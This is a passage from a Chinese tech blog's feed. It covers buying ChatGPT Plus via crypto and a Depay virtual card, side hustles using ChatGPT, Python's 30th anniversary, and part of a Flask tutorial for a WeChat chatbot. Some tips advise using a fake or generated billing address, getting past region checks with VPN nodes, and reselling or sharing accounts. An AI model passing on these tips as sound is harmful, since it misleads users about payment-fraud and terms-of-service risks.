&lt;p&gt;chatgpt并不会取代你的工作，而是在你的工作扮演助理帮你提高生产力。你不用chatgpt对你影响似乎也不大，你拥抱chatgpt会让为之震撼。未来已经只是分布不均匀。&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>ChatGPT Plus 会员保姆级注册教程（亲测有效）</title><link href="https://foofish.net/how-to-registe-chatGPT-plus.html" rel="alternate"/><published>2023-03-16T07:59:01+08:00</published><updated>2023-03-16T07:59:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-03-16:/how-to-registe-chatGPT-plus.html</id><summary type="html">&lt;p&gt;2023年8月15更新，本教程是基于depay信用卡进行plus会员订阅，拒卡概率高，最新方法：&lt;a href="https://foofish.net/chatgpt-plus-upgrade-with-wildcard.html"&gt;用 WildCard 充值ChatGPT Plus 会员&lt;/a&gt;，支持支付宝支付快捷方便。&lt;/p&gt;
&lt;p&gt;之前写过一个&lt;a href="https://foofish.net/how-to-registe-chatGPT.html"&gt;ChatGPT的保姆级注册教程&lt;/a&gt;， 随着GPT-4的发布，其功能之 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;2023年8月15更新，本教程是基于depay信用卡进行plus会员订阅，拒卡概率高，最新方法：&lt;a href="https://foofish.net/chatgpt-plus-upgrade-with-wildcard.html"&gt;用 WildCard 充值ChatGPT Plus 会员&lt;/a&gt;，支持支付宝支付快捷方便。&lt;/p&gt;
&lt;p&gt;之前写过一个&lt;a href="https://foofish.net/how-to-registe-chatGPT.html"&gt;ChatGPT的保姆级注册教程&lt;/a&gt;， 随着GPT-4的发布，其功能之强大令人震撼，以前GPT只能理解文本内容，现在可以文本加图片了，理解能力大幅度提升，在一个模拟律师考试中，它的分数在应试者的前 10% ；相比GPT-3.5 的得分在倒数 10% 左右，其智力水平让教育行业陷入沉思。  不过这些功能需要购买 ChatGPT Plus 才能体验到。&lt;/p&gt;
&lt;h3&gt;ChatGPT Plus是什么？&lt;/h3&gt;
&lt;p&gt;平时我们注册的ChatGPT账号是普通账号，而 Plus 属于ChatGPT的升级版，好处非常多，比如系统更稳定、无字数限制，优先体验新特性等等。&lt;/p&gt;
&lt;p&gt;升级Plus付费版流程比较繁琐，因为它不支持国内信用卡，你必须使用国外的虚拟信用卡进行充值。总体步骤是：欧易平台购买USDT-&amp;gt;提现到Depay钱包-&amp;gt; 兑换成美元充值到Depay信用卡-购买ChatGPT Plus会员。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230316075946959" src="../../images/image-20230316075946959.png"&gt;&lt;/p&gt;
&lt;p&gt;欧易是虚拟货币交易平台，港股上市公司，Depay是美国最大的虚拟信用卡公司。&lt;/p&gt;
&lt;p&gt;ChatGPT Plus 升级准备&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;1个可正常使用的ChatGPT账号&lt;/li&gt;
&lt;li&gt;欧易平台账号&lt;/li&gt;
&lt;li&gt;1张虚拟信用卡（Depay）&lt;/li&gt;
&lt;li&gt;能访问ChatGPT（科学上网）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;ChatGPT账号注册请参考文章&lt;a href="https://foofish.net/how-to-registe-chatGPT.html"&gt;ChatGPT的保姆级注册教程&lt;/a&gt;， 也可以直接从网上购买或者直接联系我（lzjun567）快速搞定账号。&lt;/p&gt;
&lt;h3&gt;申请欧易账号并充值USDT&lt;/h3&gt;
&lt;p&gt;USDT 是虚拟货币中的一种，叫泰达币，跟法币美元USD1比1等价锚定，美元涨USDT就涨，美元跌USDT也跟着跌，USDT背后有金融机构担保，安全性非常高。&lt;/p&gt;
&lt;p&gt;欧易平台是虚拟货币平台交易所&lt;/p&gt;
&lt;p&gt;点击这里-&amp;gt;&lt;a href="https://www.okx.com/join/17912936"&gt;直接跳转欧易官网注册&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注册完成后在官网或者google play商店下载安装欧易APP。&lt;/p&gt;
&lt;p&gt;点击App首页——我要买币——快捷买币——选USDT——购买至少23USDT（人民币大约200多）——支持支付宝、微信或者银行卡购买。  这一步完成了人民币到USDT的兑换。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230326110125835" src="../../images/image-20230326110125835.png"&gt;&lt;/p&gt;
&lt;h4&gt;申请虚拟信用卡Depay&lt;/h4&gt;
&lt;p&gt;Depay是美国最大的虚拟信用卡公司，因为ChatGPT充值不支持国内信用卡，必须使用美国信用卡，所以我们首选Depay。&lt;/p&gt;
&lt;p&gt;点击注册&lt;a href="https://depay.depay.one/web-app/register-h5?invitCode=712088&amp;amp;lang=zh-cn"&gt;Depay账号&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230316082836429" src="../../images/image-20230316082836429.png"&gt;&lt;/p&gt;
&lt;p&gt;注册完成后下载APP（APP支持中文语言）申请虚拟信用卡， 信用卡可选择0元开卡也可以选10USDT的开卡费，0元开卡需要上传你的身份证或者护照信息，然后等待审核（5-10分钟）就会开卡成功。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230325084353845" src="../../images/image-20230325084353845.png"&gt;&lt;/p&gt;
&lt;p&gt;开通后，直接往里面充USDT。&lt;/p&gt;
&lt;p&gt;打开Depay APP，找到钱包——USDT——充币——复制你的充值地址，确认主网是TRC20。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230325105910969" src="../../images/image-20230325105910969.png"&gt;&lt;/p&gt;
&lt;p&gt;回到欧易APP，找到资产——提币——USDT——链上提币，提币地址就是Depay钱包的充值地址，然后等待到账。&lt;/p&gt;
&lt;p&gt;转账Depay成功后，点击Depay钱包--兑换，将USDT兑换成USD美元。然后将美元存入卡中。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230325111035632" src="../../images/image-20230325111035632.png"&gt;&lt;/p&gt;
&lt;h3&gt;充值开通ChatGPT Plus&lt;/h3&gt;
&lt;p&gt;信用卡搞定后，终于来到最后一步开通ChatGPT Plus，登录ChatGPT账号后，左下角有个升级Plus的入口&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230316084609993" src="../../images/image-20230316084609993.png"&gt;&lt;/p&gt;
&lt;p&gt;然后根据指引填上刚刚申请好的虚拟信用卡信息后就可以升级为尊贵的Plus会员了。账单地址随便填都可以，也可以用一个美国地址生成器生成一个地址。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230316084718570" src="../../images/image-20230316084718570.png"&gt;&lt;/p&gt;
&lt;p&gt;提交订阅的时候，一定要确保你的IP节点是美国或者欧洲、新加坡等地区，否则无法订阅成功，提示信用卡被拒绝&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230325112152114" src="../../images/image-20230325112152114.png"&gt;&lt;/p&gt;
&lt;p&gt;升级成功后就可以使用GPT-4了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230325113434413" src="../../images/image-20230325113434413.png"&gt;&lt;/p&gt;
&lt;p&gt;常见问题： &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Plus会员是一次性付费吗？&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;不是，Plus是按月订阅，每月20美元，如果不想继续订阅，可以取消自动订阅，否则他会自动扣款&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;如果升级流程繁琐，可直接找人帮你升级或者购买已经开通了Plus的账号，费用一般是200左右，我也可以代开（微信联系 lzjun567)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="" src="../../images/qrcode_gh_4340d45cdd5f_1.jpg"&gt;&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT运营社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的副业案例、创业案例、商业价值分享。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230324013842151" src="../../images/image-20230324013842151.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>通过 ChatGPT 进行副业赚钱的10小技巧</title><link href="https://foofish.net/make-money-with-chatgpt.html" rel="alternate"/><published>2023-02-25T16:48:01+08:00</published><updated>2023-02-25T16:48:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-02-25:/make-money-with-chatgpt.html</id><summary type="html">&lt;h3&gt;1、代替问&lt;/h3&gt;
&lt;p&gt;代替问一般通过直播引流，通过直播间打赏给观众回答问题，因为关注对新东西都有猎奇心理，普通大众现在也 …&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1、代替问&lt;/h3&gt;
&lt;p&gt;代替问一般通过直播引流，通过直播间打赏给观众回答问题，因为关注对新东西都有猎奇心理，普通大众现在也无法访问chatgpt，所以待提问能解决一部分的需求。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230325140935140" src="../../images/image-20230325140935140.png"&gt;&lt;/p&gt;
&lt;h3&gt;2、技术支持&lt;/h3&gt;
&lt;p&gt;chatgpt出来后，我第一时间把功能部署到了微信公号，通过公众号实现与chatgpt的对话，因为这个功能我挣了第一桶金，我帮好几个客户部署一套项目收费1000元。说实话，在公众号上面对话更方便也不需要科学上网。有兴趣的可以去体验的，我把源代码放在GitHub &lt;a href="https://github.com/lzjun567/chatgpt-gzh"&gt;https://github.com/lzjun567/chatgpt-gzh&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;3、代注册&lt;/h3&gt;
&lt;p&gt;很多人在注册过程中卡壳了，特别是对于很多不是搞技术的人来说，就是个大难题，靠不容易上了梯子，注册验证码也没那么容易，如果你自己走过一遍流程，注册起来很快，成本几块钱就可以搞定，你帮你代注册一个号可以收费30、50，很多人也愿意付这个费用，因为你付出了时间，也帮别人节省了时间。 注册完之后，别忘了提醒修改密码。&lt;/p&gt;
&lt;h3&gt;4、卖账号&lt;/h3&gt;
&lt;p&gt;如果你能找代理商拿到低价的账号货源，不管是普通号还是Plus账号都有需求，你可以高价卖给别人，这其中挣的是信息差，前提条件是你既要找到买家也要找到卖家，中间商挣个差价。&lt;/p&gt;
&lt;h3&gt;5、做导航站&lt;/h3&gt;
&lt;p&gt;早期互联网刚兴起时，做导航站可以吸引很多流量，因为chatgpt出来后，成千上百基于chatgpt的应用如雨后春笋般出现。如果你能把这些东西通过一个导航站分类汇总起来，给用户能提供极大的便利，一旦有了流量，就有很多挣钱的方法，不管是靠广告还是靠引流到其它付费的产品都可以。&lt;/p&gt;
&lt;h3&gt;6、做镜像站&lt;/h3&gt;
&lt;p&gt;国内无法直接访问chatgpt，我们可以基于chatgpt提供的api能力创建一个类似的chatgpt网站，让用户可以不借助工具就可以实现与AI的对话。当然，我们不仅做可以成网站，还可以做小程序，做APP。毕竟手机上使用的频率更高。&lt;/p&gt;
&lt;h3&gt;7、写文章&lt;/h3&gt;
&lt;p&gt;可以根据需求写一些商业文章，例如写小红书风格的笔记&lt;/p&gt;
&lt;h3&gt;8、共享Plus账号&lt;/h3&gt;
&lt;p&gt;Plus账号买一个将近200块一个月，说贵不贵，但也不便宜。如果多人拼一个号的话对用户来说成本降低了。可以5个人拼一个账号，每个人50一个月，这样你就能赚50了。&lt;/p&gt;
&lt;h3&gt;9、卖课程&lt;/h3&gt;
&lt;p&gt;你可以开设chatgpt相关的课程，从如何注册账号，登录账号、如何调教机器人，以及各种常见问题的解决方案，如果你能整理一份小白都能学会的课程，那买的人肯定很多，也可以和其他东西一起捆绑销售。&lt;/p&gt;
&lt;h3&gt;10、代接验证码&lt;/h3&gt;
&lt;p&gt;因为chatgpt需要国外手机号才能注册，而那些短信平台一次充值至少要2美元，有些渠道手机号又没法获取的验证码，如果你能验证码平台资源，就可以干这个事，一次验证码你赚个差价。&lt;/p&gt;
&lt;h3&gt;11、做聊天机器人&lt;/h3&gt;
&lt;p&gt;基于chatgpt开放的API，做自己的聊天机器人，你可以做一些和ChatGPT存在差异性功能的产品，例如chatgpt默认不支持图片，你可以用API的功能让用户支持图片上传，历史聊天记录导出等等，这样很多无法使用chatgpt的用户可以过来用你的。&lt;/p&gt;
&lt;h3&gt;12、做数据清洗&lt;/h3&gt;
&lt;p&gt;有些企业采集回来的数据需要做大量的数据清晰，以前你可能需要自己去训练默认，例如你手里一百万公司信息，要把公司的简称提取出来，现在用chtgpt只需要一个提示词就能得到想要的结果，我们就可以提供专门的API。&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>Python都30岁了</title><link href="https://foofish.net/pythondu-30sui-liao.html" rel="alternate"/><published>2023-02-21T12:59:01+08:00</published><updated>2023-02-21T12:59:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-02-21:/pythondu-30sui-liao.html</id><summary type="html">&lt;p&gt;Slug:python-is-30-years-old&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230220231723386" src="../../images/image-20230220231723386.png"&gt;&lt;/p&gt;
&lt;p&gt;可能很多人认为Python是一门最近几年才冒出来的语言，其实它比Java的诞生还早。翻日历发现2月20（昨天）刚好是Python这门语言诞生的第30个年头。30而立，Python在TIOBE排行榜上位居第一。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230220232145396" src="../../images/image-20230220232145396.png"&gt;&lt;/p&gt;
&lt;p&gt;我第一次接触Python是2012年，彼时我还是一名刚入行不久的Java程序员 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Slug:python-is-30-years-old&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230220231723386" src="../../images/image-20230220231723386.png"&gt;&lt;/p&gt;
&lt;p&gt;可能很多人认为Python是一门最近几年才冒出来的语言，其实它比Java的诞生还早。翻日历发现2月20（昨天）刚好是Python这门语言诞生的第30个年头。30而立，Python在TIOBE排行榜上位居第一。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230220232145396" src="../../images/image-20230220232145396.png"&gt;&lt;/p&gt;
&lt;p&gt;我第一次接触Python是2012年，彼时我还是一名刚入行不久的Java程序员，闲暇之余，想找一门新语言学学，最好是一门动态语言，尽管在国外Python已经是一门主流语言，Google的三大语言之一，很多网站都是基于Python构建，如Instagram、Quora、Reddit、Disqus等等。但当时在国内Ruby的流行度要超过Python。&lt;/p&gt;
&lt;p&gt;当时没想那么多，被一篇关于Python的帖子吸引后，就开始上手学习了。&lt;/p&gt;
&lt;p&gt;接触Python后的第一感觉就是它的语法简洁、上手简单，接近自然语言，拿来和Java做对比时常感叹为啥Java如此啰嗦。后来就彻底爱上了这门语言，闲暇之余用Python写脚本、写网站效率出奇地高。&lt;/p&gt;
&lt;p&gt;再后来准备换工作时，尝试做了份Python简历，想试试Python行情怎么样，结果一不小心就面上了，成了一名全职的Python程序员，一直到今天。&lt;/p&gt;
&lt;p&gt;在整个职业过程中用python搞过云计算的openstack、网络爬虫、Web开发、后端API开发。这些都是Python优势所以，因为在很多领域都有完善的框架和库的支持。&lt;/p&gt;
&lt;p&gt;再后来我就创建了这个和Python相关的公众号，也正因为【Python之禅】这个公众号改变了我的生活，开启了我的副业之道。十多年的积累在这个地方可以发挥它的作用。&lt;/p&gt;
&lt;p&gt;人工智能的浪潮强行和Python关联在一起，Python火得一塌糊涂，全民学Python的热潮被培训机构带起来，对Python的吹捧就差不会生孩子了。各行各业跟风学Python，生怕错过什么&lt;/p&gt;
&lt;p&gt;潮水退去，才知道谁在裸泳。&lt;/p&gt;
&lt;p&gt;学一门语言，它的底层逻辑依然需要靠计算机基础来支撑。好在这两年学Python热回归理性，都是奔着真正掌握一门技能而去。&lt;/p&gt;
&lt;p&gt;希望所有想学 Python 的同学能脚踏实地去学。我认为Python至少在未来二十年都是一门不会过时的语言。&lt;/p&gt;</content><category term="思考"/></entry><entry><title>python实现公众号版chatgpt开发教程：私人AI助理</title><link href="https://foofish.net/wechat-chatGPT.html" rel="alternate"/><published>2023-02-19T12:59:01+08:00</published><updated>2023-02-19T12:59:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-02-19:/wechat-chatGPT.html</id><summary type="html">&lt;p&gt;chatgpt 网页版不稳定，必须配合梯子使用，用起来体验很不好。我在想能不能做个微信版chatgpt来打造一个私人AI助理，考虑到有封号的风险这个方案放弃 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;chatgpt 网页版不稳定，必须配合梯子使用，用起来体验很不好。我在想能不能做个微信版chatgpt来打造一个私人AI助理，考虑到有封号的风险这个方案放弃了。最终使用公众号来实现。&lt;/p&gt;
&lt;p&gt;因为公众号本身就提供了开放接口，即便是个人号也支持一些简单的对话功能，用来做基于聊天的场景非常适合。&lt;/p&gt;
&lt;p&gt;开发前的准备&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;openai账号&lt;/li&gt;
&lt;li&gt;微信公众号&lt;/li&gt;
&lt;li&gt;域名&lt;/li&gt;
&lt;li&gt;服务器&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;申请 OpenAI KEY&lt;/p&gt;
&lt;p&gt;首先你要有个chatgpt（OpenAI）的账号，才能接入chatgpt，还不知道怎么注册的请参考文章&lt;a href="https://foofish.net/how-to-registe-chatGPT.html"&gt;ChatGPT保姆级注册教程&lt;/a&gt;。注册成功后，申请一个API KEY，地址：https://platform.openai.com/account/api-keys。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230216160339632" src="../../images/image-20230216160339632.png"&gt;&lt;/p&gt;
&lt;p&gt;注册微信公众号&lt;/p&gt;
&lt;p&gt;打开网址 https://mp.weixin.qq.com/cgi-bin/registermidpage?action=index&amp;amp;lang=zh_CN&amp;amp;token=， 直接选订阅号，如果你是企业，可以考虑注册服务号，服务号开放的接口更丰富。 &lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230216124145610" src="../../images/image-20230216124145610.png"&gt;&lt;/p&gt;
&lt;p&gt;成为开发者&lt;/p&gt;
&lt;p&gt;在公众号后台的【设置与开发】基本配置，申请成为开发者，申请成功后，会分配一个AppID和AppSecret。这两个配置项在项目中会用到，所以要记下来。 IP白名单就是你的服务器IP。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230216160758300" src="../../images/image-20230216160758300.png"&gt;&lt;/p&gt;
&lt;p&gt;填写服务器配置&lt;/p&gt;
&lt;p&gt;在公众号后台的【设置与开发】基本配置中填上接口配置信息。URL必须是一个域名地址，所以你需要先把项目部署后这一步才能提交成功，所以这一步也可以放在后面&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230216124925584" src="../../images/image-20230216124925584.png"&gt;&lt;/p&gt;
&lt;p&gt;微信服务器配置校验&lt;/p&gt;
&lt;p&gt;项目是基于Flask开发的，我只贴核心代码，下面接口是提供给微信平台调用的，用来给微信校验消息的真实性&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@wechat_bp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/wechat&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nd"&gt;@siwa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SignatureDto&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ResponseSuccessDto&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;wechat&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;signature_validate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;SignatureDto&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="sd"&gt;    微信服务器校验&lt;/span&gt;
&lt;span class="sd"&gt;    &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;current_app&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;WECHAT_TOKEN&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 这里的TOKEN就是在微信后台自己配置的Token&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;check_signature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;InvalidSignatureException&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;WechatError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;invalid signature&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;处理用户的问题的核心代码&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@wechat_bp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/wechat&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;handler_wx_msg&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="sd"&gt;    处理微信事件&lt;/span&gt;
&lt;span class="sd"&gt;    &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parse_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;openid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;openid&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;current_app&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;openid:&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;openid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SubscribeScanEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ScanEvent&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
        &lt;span class="c1"&gt;# 关注或扫二维码&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TextReply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;欢迎使用志军的私人AI助理，请直接输入问题，技术支持：lzjun567&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TextMessage&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;question&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;question&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;继续&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;current_app&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;问题：&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;question&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;threading&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;set_answer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;question&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
            &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
